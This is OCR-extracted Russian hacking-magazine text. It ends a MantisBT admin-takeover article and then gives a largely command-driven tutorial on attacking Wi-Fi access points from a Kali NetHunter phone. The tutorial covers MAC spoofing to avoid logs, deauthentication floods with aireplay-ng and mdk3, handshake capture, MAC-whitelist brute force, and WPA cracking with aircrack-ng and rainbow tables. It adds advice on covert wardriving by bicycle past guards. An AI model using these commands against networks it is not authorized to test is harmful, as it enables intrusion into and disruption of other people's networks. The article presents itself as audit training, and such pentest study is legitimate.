Пос ле уста нов ки нового пароля мож но сме ло логинить ся в качес тве адми‐ 
на.  Если  теперь  перей ти  на  стра ницу 

, мож но най ти путь  к  кор ню сай та. Рас кры тие путей
будет  очень  кста ти  в  помощь  пре дыду щей  уяз вимос ти:  теперь мож но  лег ко
читать кон фигура цион ные фай лы.

http://mantis.visualhack/man‐
age_overview_page.php

Рас кры тие путей в интерфей се адми нис тра тора

Вы воды
Вот такие, казалось бы, прос тые логичес кие уяз вимос ти встре чают ся в серь‐ 
езных про дук тах. Баг со сме ной пароля уже испра вили, выпус тив новые вер‐ 
сии Mantis: 2.3.1 и 1.3.1 теперь не экс плу ати руют ся.

Бук валь но  сра зу  пос ле  того,  как  я  закон чил  писать  статью, мне  на  поч ту
при лете ло  пись мо,  сооб щающее,  что  в  Oracle  зак рыли‐таки  баг  с  чте нием
фай лов через MySQL и исправ ление вой дет в сле дующий же релиз. Одна ко
если  ты  адми нис тра тор  баг тре кера,  то  можешь  уже  сей час  зак рыть  дос туп
извне к пап ке   либо изме нить ее имя на какое‐нибудь менее бру табель‐ 
ное.

admin

Но даже пос ле это го фик са в нед рах Mantis навер няка мож но будет най ти
еще мно го все го инте рес ного. Так что дер зай!

ДЕМОНСТРАЦИЯ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ (ВИДЕО)

https://vimeo.com/227040611
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https://github.com/mantisbt/mantisbt/blob/release-2.5.1/admin/schema.php#L419
https://github.com/mantisbt/mantisbt/blob/release-2.5.1/admin/install.php#L86
https://github.com/mantisbt/mantisbt/blob/release-2.5.1/core/gpc_api.php#L124
https://github.com/mantisbt/mantisbt/blob/release-2.5.1/core/gpc_api.php#L58
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ВЗЛОМ

Вар драй вин гом всерь ез мож но занимать ся и со смар тфо на,
но для это го мало встро енно го ради омо дуля и при ложе ний
для  Android.  В  прод винутых  ата ках  исполь зуют ся  внеш ние
Wi‐Fi‐адап теры  и  кон соль ные  прог раммы  для  Linux.  Все
необ ходимые  ути литы  уже  есть  в  дис три бути ве  Kali  Net‐
Hunter.  Сегод ня  мы  раз берем ся,  как  его  уста новить
и  исполь зовать  для  атак  на  точ ки  дос тупа,  под клю чив
отдель ный Wi‐Fi‐донгл.

WARNING

Сог ласно  пун кту  4.1.1  стан дарта  PCI  DSS  v.  2,
тре бует ся  регуляр но  про водить  аудит  безопас‐ 
ности  точек  дос тупа Wi‐Fi.  Кор рек тно  это мож но
сде лать  толь ко  теми  же  инс тру мен тами,  какие
исполь зуют ся  в  реаль ных  ата ках.  Статья  носит
информа цион ный харак тер. Она адре сова на спе‐ 
циалис там  по  ИБ  и  тем,  кто  собира ется  ими
стать.

ВВЕДЕНИЕ
Пос коль ку Android базиру ется на ядре Linux, в нем впол не могут работать ути‐ 
литы из тра дици онных дис три бути вов Linux (в том чис ле спе циали зиро ван ные
прог раммы  для  тес тов  на  про ник новение).  Надо  все го  лишь  парал лель но
запус тить при выч ный дис три бутив  (нап ример, Kali  Linux ARM) в изо лиро ван‐ 
ной сре де.

Ре шает ся эта задача с помощью сис темной ути литы chroot и при ложе ний,
исполь зующих  ее  воз можнос ти.  Она  соз дает  отдель ный  кор невой  каталог
и поз воля ет запус тить две ОС одновре мен но — нап ример, Android и Kali Lin‐
ux, каж дую в сво ем окру жении. Одна ко даль ше пен тесте ра ждут неп рият ные
сюр при зы.  Все  прог раммы,  тре бующие  исполь зования  внеш них  устрой ств
и пат чей уров ня ядра, отка жут ся работать. К при меру, ты без проб лем запус‐ 
тишь  на  смар тфо не Aircrack‐ng, Reaver  или  тот же Wifite  через  ,
но не смо жешь ничего сде лать с ними «в пря мом эфи ре» — толь ко ана лизи‐ 
ровать ранее перех вачен ные хен дшей ки с черепашь ей ско ростью.

Linux Deploy

Про исхо дит  так  потому,  что  на  встро енный  в  смар тфо ны  модуль  Wi‐Fi
обыч но  нет  откры тых  спе цифи каций  и  написа ние  драй вера  с  под дер жкой
режима  монито рин га  для  него  мак сималь но  зат рудне но.  Любой  внеш ний
адап тер  (даже  из  спис ка  заведо мо  под ходящих)  тоже  вряд  ли  заведет ся
в  дис три бути ве  Linux,  запущен ном  на  смар тфо не  с  исполь зовани ем  chroot.
Меша ют это му раз ные при чины — отсутс твие драй веров и про шивок на нуж‐ 
ный  чип сет,  отсутс твие  под дер жки  USB  OTG  или  невоз можность  заг рузить
сто рон ний драй вер в ядро.

За пуск прог раммы — толь ко пол дела!

По это му,  если  ты  хочешь  исполь зовать  Kali  Linux  на  пер вом  попав шемся
смар тфо не,  прос тым  мон тирова нием  обра за  в  Linux  Deploy  не  обой тись.
Необ ходимо так же най ти драй веры, выпол нить их кросс‐ком пиляцию, про пат‐ 
чить ядро и совер шить про чие увле катель ные дей ствия с доволь но высоким
уров нем крас ногла зия.

Я  же  пред лагаю  пой ти  более  прос тым  путем  и  вос поль зовать ся  готовой
сбор кой  Kali  Linux,  спе циаль но  соз данной  для  мобиль ных  устрой ств.  Она
называ ется NetHunter и уже содер жит все необ ходимые ком понен ты.

NETHUNTER
 — это облегчен ный Kali Linux для смар тфо нов, который мож но

уста новить  поверх  обыч ной  про шив ки  устрой ства.  Кро ме  самих  ути лит  Kali,
NetHunter содер жит набор драй веров для бес про вод ных адап теров, а так же
модифи циро ван ное  ядро  Linux  с  под дер жкой  модулей  ядра  и  пат чами
для кор рек тной работы Aircrack‐ng.

Kali NetHunter

До пол нитель ные драй веры и про шив ки Wi‐Fi‐модулей в NetHunter

Офи циаль но работа NetHunter гаран тиру ется на сле дующих устрой ствах:
смар тфо нах и план шетах серии Nexus (Nexus 4 (mako), 5 (hammerhead), 5x
(bullhead), 6 (shamu), 6P (angler), 7 2013 (flo), 9 (flounder), 10 (manta));

•

смар тфо нах OnePlus (OnePlus One (oneplusl), 2 (oneplus 2), 3 и 3T (oneplus‐ 
3), X (oneplusx));

•

смар тфо нах Samsung серии Galaxy (Note 3 (hlte), S5 (kite), S7 (herolte), S7
edge (hero 2lte));

•

смар тфо нах  LG  (G5  T‐Mobile  (h830),  G5  International  (h850),  V20T‐
Mobile(h918), V20 US Unlocked (us996))

•

смар тфо нах HTC One M7GPE (onem 7gpe) и HTC 10 (htc.pmewl);•
смар тфо нах Sony Xperia ZR (dogo) и Sony Xperia Z (yuga);•
план шетах Nvidia SHIELD (shieldtablet) и SHIELD tablet K1;•
смар тфо не ZTE Axon 7 (ailsa_ii).•

Так же  на  xda‐developers.com  встре чают ся  любитель ские  пор ты  NetHunter.
Искать их удоб нее по типово му зап росу в Google:

[модель_устройства] kali nethunter site:forum.xda‐developers.com

Од нако с любитель ски ми пор тами надо быть осто рож нее. Нап ример, 
  ока залась  кри вой.  NetHunter  уста новил ся,  запус тился,

но вне зап но впал в маразм. Теоре тичес ки мож но было отло вить и пофик сить
баги  или  сде лать  более  удач ный  порт  NetHunter  самос тоятель но,  одна ко
это неоп ределен но боль шие зат раты вре мени.

сбор ка
для  Samsung  I9300

По это му  луч ше  раз добыть  про верен ный  смар тфон  с  офи циаль ной  под‐ 
дер жкой  Kali  NetHunter.  Нап ример,  Nexus  5  —  отличный  аппа рат  сто‐ 
имостью 5–8 тысяч руб лей. Я исполь зовал имен но его и даль нейший рас сказ
буду вес ти с оглядкой на Nexus 5, одна ко для дру гих моделей пос ледова тель‐ 
ность дей ствий будет ана логич ной.

Ус танов ка
NetHunter  сле дует  уста нав ливать  поверх  стан дар тной  про шив ки  смар тфо на
или CyanogenMod. В дан ный момент NetHunter под держи вает сто ковые про‐ 
шив ки Android 5.1.1 и 6.0.1 и CyanogenMod/LineageOS раз ных вер сий. Узнать,
изме нилась ли ситу ация пос ле выхода статьи, мож но в  .wiki

Са ми сбор ки NetHunter для раз ных смар тфо нов и план шетов мож но най ти
на  .этой стра нице

Так же тебе понадо бит ся инс тру мент   и драй веры для ADB. В Win‐
dows  и  то  и  дру гое  мож но  уста новить  с  помощью  прос того  .
В Linux мож но уста новить пакет  .

fastboot
ин стал лятора

android‐platform‐tools
Еще про ще исполь зовать ути литу  . Она сама ска чает все

необ ходимое и выпол нит боль шую часть мутор ных опе раций, а если и зас тря‐ 
нет на какой‐то из них, то выдаст под робный ману ал о том, что делать даль‐ 
ше.

Nexus Rootkit Tool

По шаго вые инс трук ции в NRT

Есть еще два необ ходимых ком понен та:
кас томный  рекаве ри  TWRP  для  тво его  смар тфо на,  его  мож но  най ти
на сай те  ;

•
twrp.me
, он нужен в фор ме ZIP‐архи ва, то есть Recovery Flashable.zip.• SuperSU

Ког да все необ ходимые фай лы будут на руках, мож но прис тупить к уста нов ке
кас томно го рекаве ри и рутин гу. Во вре мя это го про цес са ты лишишь ся всех
дан ных на устрой стве, поэто му пред варитель но сох рани их.

Сна чала  вык люча ем  смар тфон  и  вклю чаем  его  с  зажатой  кла вишей  уве‐ 
личе ния  гром кости.  Он  перей дет  в  режим  fastboot.  Под клю чаем  смар тфон
к ком пу с помощью кабеля и выпол няем сле дующую коман ду в ADB:

$ fastboot oem unlock

Эта  коман да  раз бло киру ет  заг рузчик,  попут но  сти рая  все  дан ные  со  смар‐ 
тфо на. Теперь уста нав лива ем TWRP:

$ fastboot flash recovery образ‐twrp.img

Ес ли опе рация прош ла успешно, вык люча ем смар тфон и вклю чаем его сно ва
с  зажатой  кла вишей    гром кости.  Пос ле  перезаг рузки  дол жен
появить ся  интерфейс  TWRP.  Записы ваем  на  смар тфон SuperSU  с  помощью
ADB:

умень шения

$ adb push путь\к\SuperSU.zip /sdcard/

На жав  кноп ку  ,  про шива ем  SuperSU.  По  окон чании  уста нов ки
перезаг ружа ем  смар тфон,  дела ем  пер вичную  нас трой ку  и  уста нав лива ем

 в   (путь уста нов ки важен!).

Install

BusyBox /system/bin
Да лее сно ва перезаг ружа емся в TWRP и записы ваем на смар тфон архив

с NetHunter:

$ adb push путь\к\nethunter.zip /sdcard/

Про шива ем и перезаг ружа емся.

Ус танов ка NetHunter на Nexus 5

Ус танов ка  может  зависать  на  90%,  но  при  этом  выпол няет ся  кор рек тно.
Прос то убе дись, что в отоб ража емом на экра не логе есть стро ка успешно го
обна руже ния BusyBox, и подож ди еще минут десять. Пос ле можешь перезаг‐ 
рузить смар тфон вруч ную, если он не сде лает это го сам.

Во  вре мя  уста нов ки  NetHunter  пред ложит  уста новить  нес коль ко  допол‐ 
нитель ных  при ложе ний.  Не  отка зывай ся  от  уста нов ки  .
На  этой  кла виату ре  есть  кла виши  Ctrl,  Alt,  Shift,  Break,  F1–F12  и  дру гие,
без  которых  в  кон соли  как  без  рук.  Теоре тичес ки мож но  обой тись  и  встро‐ 
енной  кла виату рой,  ими тируя  нажатие  фун кци ональ ных  кла виш  кноп ками
управле ния гром кости, но это не так удоб но, да и порой они прос то не сра‐ 
баты вают.

Hacker’s  Keyboard

Эму ляция допол нитель ных кла виш в стан дар тной кла виату ре (сле ва)
и выбор Hacker’s Keyboard (спра ва)

Пер вичная нас трой ка
При пер вом запус ке NetHunter зап росит пра ва супер поль зовате ля и раз ные
раз решения десяток раз. Если ты ошиб ся и не пре дос тавил какое‐то из них,
то открой раз решения для прог рамм в SuperSU и добавь их вруч ную. Ина че
NetHunter прос то не будет работать.

За тем  про верь  наличие  обновле ний.  Пос ле  это го  перей ди  в  раз дел  Kali
Chroot  Manager  и  ска чай  образ  дис ка    (мож но
и  ,  на  Nexus  5  он  вле зает,  но  для  вар драй вин га  хва тит  ).  Net‐
Hunter авто мати чес ки рас паку ет и смон тиру ет его.

kalifs‐minimal.tar.xz
full minimal

Об новле ние сра зу пос ле уста нов ки (сле ва), уста нов ка Kali в chroot
(спра ва)

На  зак лючитель ном  эта пе  тап ни  Update  Kali  metapackages  из  меню  Custom
commands либо прос то набери   в тер‐ 
минале.

apt‐get update && apt‐get upgrade

Всё!  Оста лось  под клю чить  внеш ний  USB  Wi‐Fi‐адап тер,  и  мож но  прис‐ 
тупать к ауди ту.

Доработ ка напиль ником
Сей час дос тупны две вер сии Kali NetHunter:

Sana (с ядром 3.1) для сов сем ста рых устрой ств на Android 5.1 (нап ример,
Nexus 7 2012);

•

Kali Rolling (с ядром 3.2 и выше) для более све жих девай сов.•

Они исполь зуют раз ные репози тории. Сай ты обновле ний для Kali Sana в нас‐ 
тоящее вре мя недос тупны. Поэто му,  если  у  тебя Kali Sana,  добавь  в  спи сок
репози тори ев ( ) сле дующую стро ку:/etc/apt/sources.list

deb http://old.kali.org/kali‐security sana/updates main contrib non‐
free

В новой вер сии Kali Rolling тоже сто ит добавить такую стро ку:

deb http://http.kali.org/kali kali‐rolling main contrib non‐free

Что бы  узнать,  какое  ядро  в  тво ем  Kali  NetHunter,  прос то  запус ти  тер минал
и проч ти пер вые стро ки.

Вер сия при ложе ния NetHunter и вер сия ядра

WI-FI-ДОНГЛЫ И ДРУГОЕ ОБОРУДОВАНИЕ
Лю бая  рыбал ка  начина ется  с  выбора  снас тей,  а  вар драй винг  —  с  под‐ 
ходящей  оснас тки.  Основным  инс тру мен том  у  нас  будет  смар тфон  (в  этом
глав ное отли чие дан ной статьи) и Wi‐Fi‐адап тер (донгл) с интерфей сом USB.
Такая  связ ка  бук валь но  помеща ется  в  кар мане  или  неболь шой  сум ке,
не прив лекая вни мания.

О том, как выб рать под ходящий донгл, мы уже писали в статье «
». Обра ти вни мание, что она опи сыва ет

уни вер саль ную методи ку под бора адап теров — ста рых, новых и даже еще не
пос тупив ших  в  про дажу.  Если  же  тебе  нужен  прос той  ответ  на  воп рос  «что
брать?», то вот спи сок про верен ных:

Вы бира ем
бюд жетный адап тер для взло ма Wi‐Fi

Alfa AWUS 036H (Realtek 8187L, 802.11b/g, 2,4 ГГц, даль нобой ный);•
Alfa AWUS 036NH (Ralink RT3070);•
Alfa AWUS 036NEH (RT3070);•
Alfa AWUS 036NHA (AR9271 (802.11b/g/n, 2,4 ГГц, рекомен дует ся для WPS‐
атак);

•

Alfa AWUS 051NH (Rev. 1 и Rev. 2; 2,4/5 ГГц);•
Alfa AWUS 052NH (RT3572).•

Бо лее дос тупные вари анты:
TP‐LINK TL‐WN722N (AR9271);•
Netsys 9000WN (RT3070, с панель ной антенной).•

Про верен ные  в  NetHunter  чипы:  Realtek  8187L,  Ralink  RT2070,  RT2571W,
RT2671,  RT2770,  RT2870,  RT3070,  RT3071,  RT3072,  RT3370,  RT3572,  Atheros
AR7010, AR9170, AR9271.

Об рати вни мание, что в спис ке рекомен дован ных дон глов одни «Аль фы».
Это не слу чай но. У них не толь ко более высокая мощ ность (о том, как хит ро
она дос тига ется, читай в сле дующей статье), но и очень качес твен ное экра‐ 
ниро вание  и  хорошие  филь тры  помех.  Поэто му  с  «Аль фой»  ты  получа ешь
не прос то мощ ный передат чик, а еще и очень чувс тви тель ный при емник, что
более  важ но  для  вар драй вин га.  Под ходят  далеко  не  все  адап теры  про‐ 
изводс тва  Alfa  Networks,  а  толь ко  ука зан ные  в  спис ке.  Работа  осталь ных
не гаран тиру ется.

По мимо  смар тфо на  и  Wi‐Fi‐адап тера,  пот ребу ется  кабель  USB  OTG.
Желатель но  сра зу  брать  Y‐образный  (вро де  ),  что бы  во  вто рой  порт
под клю чить  внеш ний  акку муля тор.  Во  вре мя  вар драй вин га  встро енная
батарея  смар тфо на  будет  раз ряжать ся  очень  быс тро,  поэто му  для  про дол‐ 
житель ного ауди та необ ходим Powerbank на 5000 мА ⋅ ч или более емкий.

та кого

ПРИСТУПАЕМ К АУДИТУ
На конец мы готовы исполь зовать Kali NetHunter и прис тупить к ата кам на точ‐ 
ки  дос тупа.  В  меню  при ложе ния  NetHunter  есть  кноп ки  быс тро го  вызова
популяр ных  команд  и  даже  отдель ная  сек ция  Wardriving  с  очень  скуд ным
напол нени ем. Пред полага ется, что опыт ный пен тестер сам запол нит ее шор‐ 
тка тами на свой вкус.

По ка мы это го делать не будем, пос коль ку шор тка ты — это прос то кноп ки,
переда ющие  заранее  записан ные  коман ды  в  тер минал.  Мож но  вооб ще
не  откры вать  при ложе ние NetHunter,  а  сра зу  запус тить  эму лятор  тер минала
и выб рать в нем Kali.

Продолжение статьи →

https://play.google.com/store/apps/details?id=ru.meefik.linuxdeploy
https://www.kali.org/kali-linux-nethunter
https://forum.xda-developers.com/galaxy-s3/general/rom-kali-nethunter-porting-galaxy-s3-t3305011
https://github.com/offensive-security/kali-nethunter/wiki
https://www.offensive-security.com/kali-linux-nethunter-download/
https://forum.xda-developers.com/showthread.php?t=2588979
http://www.wugfresh.com/nrt/
https://twrp.me/
http://www.supersu.com/download
https://play.google.com/store/apps/details?id=stericson.busybox
https://play.google.com/store/apps/details?id=org.pocketworkstation.pckeyboard
https://xakep.ru/2016/09/27/wardriving-devices/
https://ru.aliexpress.com/item/Micro-USB-Male-To-Micro-USB-Female-Host-OTG-Cable-Micro-USB-Adapter-Y-Splitter-JYnEE/32759323011.html


ВЗЛОМ WI-FI

СО СМАРТФОНА
ВЫПОЛНЯЕМ АУДИТ

ТОЧЕК ДОСТУПА
С KALI NETHUNTER

И ВНЕШНИМ
WI‐FI‐АДАПТЕРОМ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Нас тра иваем донгл
Пер вым  делом  необ ходимо  опре делить  и  задей ство вать  донгл.  Обыч но
внеш ний Wi‐Fi‐адап тер  получа ет  имя  интерфей са  ,  одна ко  имя  может
быть  любым.  Сто ит  про верить  (и  при  необ ходимос ти  изме нить)  его
перед даль нейши ми дей стви ями.

wlan1

Для начала узна ем спи сок дос тупных сетевых интерфей сов:

# iw dev

Что бы  пос мотреть  под робнос ти  о  сетевых  адап терах  и  их  парамет рах,
исполь зуем дру гую коман ду:

# iw list

В ответ она выводит доволь но гро моз дкий перечень, поэто му обыч но удоб‐ 
нее исполь зовать более при цель ные зап росы. Нап ример, сле дующий зап рос
поз воля ет узнать, какие час тотные диапа зоны под держи вает твой Wi‐Fi‐адап‐ 
тер:

# iwlist wlan1 frequency

Оп ределя ем наз вание интерфей са дон гла и под держи ваемые дон глом
час тоты

Пе ред  началом  эфир ных  изыс каний  необ ходимо  перек лючить  Wi‐Fi‐модуль
в режим монито рин га. Желатель но так же изме нить его MAC‐адрес. Это нуж‐ 
но  для  того,  что бы  мень ше  све тить ся  в  логах.  Сме на  MAC‐адре са  так же
понадо бит ся, если ты захочешь выпол нить ата ку «Злой двой ник». Ее мы под‐ 
робно раз берем в одной из сле дующих ста тей.

Вклю чить режим монито рин га мож но раз ными спо соба ми. Нап ример, так:

# iwconfig wlan1 mode monitor

или с помощью ути литы Airmon‐ng:

# airmon‐ng start wlan1

По менять MAC‐адрес мож но с помощью ifconfig:

# ifconfig wlan1 hw ether XX:XX:XX:XX:XX:XX

(здесь  вмес то  зна ков  воп роса  необ ходимо  задать  жела емый  MAC‐адрес
в hex‐фор мате).

Ес ли захочешь пос мотреть текущий MAC‐адрес сво его Wi‐Fi‐модуля (нап‐ 
ример, про верить, заменил ся ли он), то вве ди коман ду:

# macchanger ‐s wlan1

Эта же  ути лита  уме ет  изме нять MAC‐адрес  на  слу чай ный  (удоб но  для  авто‐ 
мати зации):

# macchanger ‐r wlan1

Пе ред  изме нени ями  режима  работы  дон гла  и  его  MAC‐адре са  тре бует ся
отклю чить сетевой интерфейс, а затем вклю чить его сно ва. Поэто му пол ный
спи сок команд для сме ны MAC и вклю чения монито рин га выг лядит так:

# ifconfig wlan1 down 
# ifconfig wlan1 hw ether XX:XX:XX:XX:XX:XX 
# iwconfig wlan1 mode monitor
# ifconfig wlan1 up

Ска ниру ем эфир
Лю бая ата ка начина ется со сбо ра информа ции. Прос каниро вать эфир из кон‐ 
соли про ще все го с помощью Airodump‐ng:

# airodump‐ng wlan1

Но гораз до удоб нее для это го исполь зовать скрипт Wifite. Некото рые счи тают
его не труЪ‐хакер ской ути литой, но на   его любят и замеча ют,
что  ][‐инс тру мент —  это  тот,  который  поз воля ет  быс трее  добить ся  резуль‐ 
тата.  Не  сто ит  пре неб регать  «нуб ски ми»  прог рамма ми,  если  они  информа‐ 
тив ны и эко номят вре мя.

blackMORE Ops

Для начала ска ниро вания дос таточ но написать в тер минале   — ути‐ 
лита  запус тится  в  инте рак тивном  режиме  и  пред ложит  выб рать,  какой
сетевой интерфейс перек лючить в режим монито рин га.

wifite

Спи сок AP и их парамет ров

Даль ше  нуж но  выб рать  точ ку  дос тупа,  записать  ее  парамет ры  (ESSID  и/или
MAC‐адрес, номер канала, тип шиф рования, наличие/отсутс твие WPS) и выб‐ 
рать наибо лее раци ональ ный вари ант ата ки.

Об рати  вни мание,  что  в  NetHunter  пре дус танов лен  Wifite  r87.  На  GitHub
дос тупна  вто рая  вер сия,  в  которой  есть  под дер жка  режима  5  ГГц,  гораз до
эффектив нее  выпол няет ся  деав ториза ция  и  пос тоян но  отоб ража ется
текущий  уро вень  сиг нала  выб ранной  точ ки  дос тупа.  Уста новить  Wifite
2.00 в Kali NetHunter мож но сле дующей коман дой:

# git clone https://github.com/derv82/wifite2.git

Даль ше перехо дим в каталог   и запус каем скрипт  . Обра ти
вни мание на регистр.

wifite2 Wifite.py

# cd wifite2
# ./Wifite.py

Уни вер саль ная ата ка
Прос тей шие  ата ки  по  дефол тным  WPS  PIN  мы  уже  раз бирали  в  прош лой

. Они дают прак тичес ки мгно вен ный резуль тат, но сра баты вают толь ко
на  уяз вимых  точ ках  дос тупа.  Сей час  же мы  раз берем мак сималь но  уни вер‐ 
саль ный метод,  работа ющий с  любым  типом авто риза ции  (WEP/WPA/WPA 2)
и никак не свя зан ный с WPS.

статье

Ата ка называ ется «зах ват рукопо жатий», то есть сес сий авто риза ции кли‐ 
ент ских  устрой ств  на  точ ке  дос тупа  Wi‐Fi.  Выпол нять  его  мож но  как  в  пас‐ 
сивном режиме, так и в активном.

При выборе пер вого вари анта твои дей ствия совер шенно незамет ны. Ты
ничего не отправ ляешь в эфир, а  толь ко слу шаешь выб ранный канал в ожи‐ 
дании авто риза ции любого устрой ства на нуж ной AP. Дож давшись handshake,
ты перех ватыва ешь его и записы ваешь в файл:

# airodump‐ng wlan1 ‐‐channel 5 ‐w captured.cap

Это  при мер  для  пятого  номера  канала  и  име ни  фай ла  с  хен дшей ком 
.  Для  надеж ности  луч ше  зах ватить  нес коль ко  рукопо жатий  и  спо‐ 

кой но ана лизи ровать их  на  ста ционар ном  компь юте ре  (или  вов се  заг рузить
на  спе циали зиро ван ные  онлайн‐сер висы  под бора  паролей  по  хен дшей кам,
об этом поз же).

cap‐
tured.cap

К  точ ке  дос тупа  могут  подол гу  не  под клю чать ся  новые  «кли енты».  Если
ждать надо ело,  то мож но уско рить про цесс, перей дя в активный режим. Так
ты получишь сущес твен ную при бав ку к ско рос ти ценой утра ты мас киров ки.

Для это го понадо бит ся ути лита aireplay‐ng, которая (помимо про чего) уме‐ 
ет выпол нять при нуди тель ное отсо еди нение бес про вод ных кли ентов от выб‐ 
ранной точ ки дос тупа.

# aireplay‐ng ‐0 1 ‐a XX:XX:XX:XX:XX:XX ‐c XX:XX:XX:XX:XX:XX  wlan1

Па раметр    зада ет  режим  деаутен тифика ции,  а  еди ница —  чис ло  отправ‐ 
ляемых  под ряд  команд  отклю чения.  Обыч но  исполь зуют  от  одно го  до  пяти
пакетов  в  зависи мос ти  от  уров ня  сиг нала  и  ско рос ти  откли ка  (под сказ ка:
не спе ши сра зу ста вить пять; пока ты DDoS’ишь AP лавиной deauth’ов, прос‐ 
луша ешь хен дшейк, и все будет зря). Параметр   слу жит для ука зания MAC‐
адре са  точ ки дос тупа, а параметр   — под клю чен ного  к ней  кли ента. Если
MAC‐адрес кли ента не ука зан, то будет отправ лен широко веща тель ный зап‐ 
рос и коман ду деав ториза ции получат все кли енты выб ранной AP.

‐0

‐a
‐c

Вмес то MAC‐адре са AP мож но ука зать ее имя с клю чом   (ESSID). При‐ 
мер:

‐e

# aireplay‐ng ‐0 1 ‐e MarsHotel wlan1    

Aireplay  отпра вит  через  твой  Wi‐Fi‐донгл  коман ды  деав ториза ции  всем
устрой ствам,  под клю чен ным  к  точ ке  дос тупа  с  име нем  .  Они
разор вут соеди нение и вско ре нач нут соеди нять ся пов торно. Так эфир быс‐ 
тро напол нится све жими хен дшей ками.

MarsHotel

При меча ние:  устрой ство  не  удас тся  при нуди тель но  рас соеди нить  с  AP,
если  твой  сиг нал  слиш ком  сла бый  или  если  админ  вклю чил  опцию  шиф‐ 
рования фрей мов  (IEEE 802.11w‐2009). Пос леднее час то встре чает ся в  кор‐ 
поратив ных сетях, осо бен но с мар шру тиза тора ми Cisco уров ня Enterprise.

Бо лее гру бое отклю чение иног да уда ется выпол нить ути литой  :MDK 3

# mdk3 wlan1 d ‐c 1,2,3,4,5,6,7,8,9,10,11

Здесь    —  имя  бес про вод ного  интерфей са,    —  коман да  деаутен‐ 
тифика ции,    —  коман да  отсылки  пакетов    по  всем
основным каналам диапа зона 2,4 ГГц.

wlan1 d
‐c  1,  ...,  11 deauth

Скрипт  Wifite  так же  выпол няет  деав ториза цию  обна ружен ных  кли ентов
(если  ты  не  отме нил  ее  отдель ной  коман дой).  Вто рая  вер сия  про делы вает
такую ата ку пол ностью авто мати чес ки и очень быс тро.

Ско рос тной зах ват хен дшей ка в Wifite 2.00

Сред нее вре мя ожи дания перех вата «рукопо жатия» в активном режиме сос‐ 
тавля ет пару минут, а в засаде мож но про сидеть нес коль ко часов. Минус —
ты  пол ностью  лиша ешь ся  мас киров ки  и  све тишь ся  в  логах.  Если  это  точ ка
дос тупа в  какой‐то ком пании,  то навер няка админ получит  тре вож ные сооб‐ 
щения от сис тем обна руже ния втор жений.

Ес ли  на  точ ке  дос тупа  вклю чен  режим филь тра ции  по MAC‐адре су,  а  ни
одно го  легитим ного  кли ента  не  под клю чено,  то  брут форс  MAC‐адре са
из «белого спис ка» мож но выпол нить ути литой MDK 3:

# mdk3 wlan1 f ‐t XX:XX:XX:XX:XX:XX

Вмес то зна ков воп роса под ставь MAC‐адрес ата куемой точ ки дос тупа.

Вы чис ление пароля по хен дшей ку
Файл  с  перех вачен ными  пакета ми  авто риза ции  кли ентов  записы вал ся
с опре делен ного канала, поэто му он может содер жать дан ные ради ооб мена
с раз ными точ ками дос тупа. Прог раммы ана лиза .cap‐фай лов обыч но самос‐ 
тоятель но  опре деля ют  сох ранен ные  ESSID  и  пред лага ют  выб рать  нуж ный
иден тифика тор. Одна из пер вых ути лит для под бора пароля из перех вачен ных
хен дшей ков —  прог рамма  Aircrack‐ng.  Коман да  перебо ра  паролей  по  сло‐ 
варю выг лядит так:

# aircrack‐ng ‐w [путь_до_словаря].lst [путь_до_файла_с_хендшейком].
cap

Оп тимизи рован ные сло вари для Kali NetHunter лежат  . Вмес то них мож‐ 
но  взять  любые  дру гие.  Глав ное,  что бы  каж дое  сло во  в  фай ле  сло варя
начина лось с новой стро ки.

здесь

Пе ребор по сло варю и радуж ным таб лицам
Стан дарт  WPA 2  тре бует  исполь зовать  пароли  дли ной  от  вось ми  сим волов.
Поэто му  мно гие  рекомен дуют  обра ботать  файл  сло варя,  исклю чив  из  него
более корот кие сло ва. Казалось бы, вер ное решение, ведь они толь ко отни‐ 
мают вре мя. Одна ко сре ди паролей встре чают ся пов торы и вся кие пре мута‐ 
ции,  которые невоз можно про верить без  корот кой осно вы. Нап ример, 
паролем быть не может, а вот   или   — зап росто.

test
testtest test1234

Ес ли пароль не уда лось подоб рать ата кой по сло варю или он изна чаль но
пред полага ется нес ловар ный, то мож но исполь зовать радуж ные таб лицы (БД
с  парами  хеш  —  пароль).  Их  мож но  сге нери ровать  с  помощью  ути литы

  (или  най ти  )  и  скор мить  Aircrack‐ng  той  же  коман дой,
толь ко с клю чом   вмес то  .
airolib‐ng го товые

‐r ‐w

# aircrack‐ng ‐r rainbow_table.db captured_hs.pcap

Здесь   — файл радуж ных таб лиц, а   —
сох ранен ный хен дшейк.

rainbow_table.db captured_hs.pcap

Есть  мно жес тво  дру гих  ути лит  для  вычис ления  пароля  из  дан ных  фай ла
рукопо жатия.  Наибо лее  популяр ны  Pyrit  (она  уже  есть  в  сос таве  NetHunter)
и  ,  а  точ нее —  oclHashcat.  Это  прог рамма  с  под дер жкой  уско рения
перебо ра  паролей  на  нес коль ких  про цес сорах  и  виде окар тах.  Под держи‐ 
вают ся  как  ГП  AMD,  так  и  Nvidia.  Hashcat  исполь зует  фай лы  собс твен ного
фор мата  . Пре обра зовать в него исходный файл .cap поможет ути лита

, вхо дящая в набор  .

Hashcat

.hccap
cap2hccapx hashcat‐utils

Так же  есть  онлайн‐сер висы  для  кон верта ции  и  ана лиза  .cap/.pcap‐фай‐ 
лов. Нап ример,  .Hash.co.uk

Лай фхак
Есть  сум ки  неболь шого  объ ема  с  проз рачным  окош ком  для  смар тфо на.
Такую  мож но  повесить  на  руку  (кос пле ить  Fallout)  или  на  руль  велоси педа
и выпол нять раз ведку эфи ра, прос то гуляя вок руг. Смар тфон лежит в сум ке,
на экра не отоб ража ются обыч ные прог раммы Android, а лог со все ми обна‐ 
ружен ными точ ками дос тупа и их парамет рами записы вает ся в файл коман‐ 
дой

# wifite ‐i wlan1 ‐mac > ListOfAPs.txt

Так мы вклю чаем режим монито рин га на сетевом интерфей се wlan 1, меня ем
его  MAC  на  слу чай ный  и  перенап равля ем  стан дар тный  вывод  в  тек сто вый
файл с про изволь ным наз вани ем.

Ак тивный аудит тоже воз можен без извле чения смар тфо на из сум ки. Сен‐ 
сорный экран лег ко вос при нима ет коман ды через плен ку.

Прев раща ем велоси пед в мобиль ную стан цию РЭБ

По чему имен но велоси пед? У него нет номеров  государс твен ной регис тра‐ 
ции, и он не прив лека ет вни мания. В ходе экспе римен та я спо кой но про езжал
за шлаг баумы и катал ся мимо охра ны. Она вооб ще не вос при нима ет велоси‐ 
педис та  как  потен циаль ного  наруши теля.  Охранни ки  ста рой  закал ки  вос‐ 
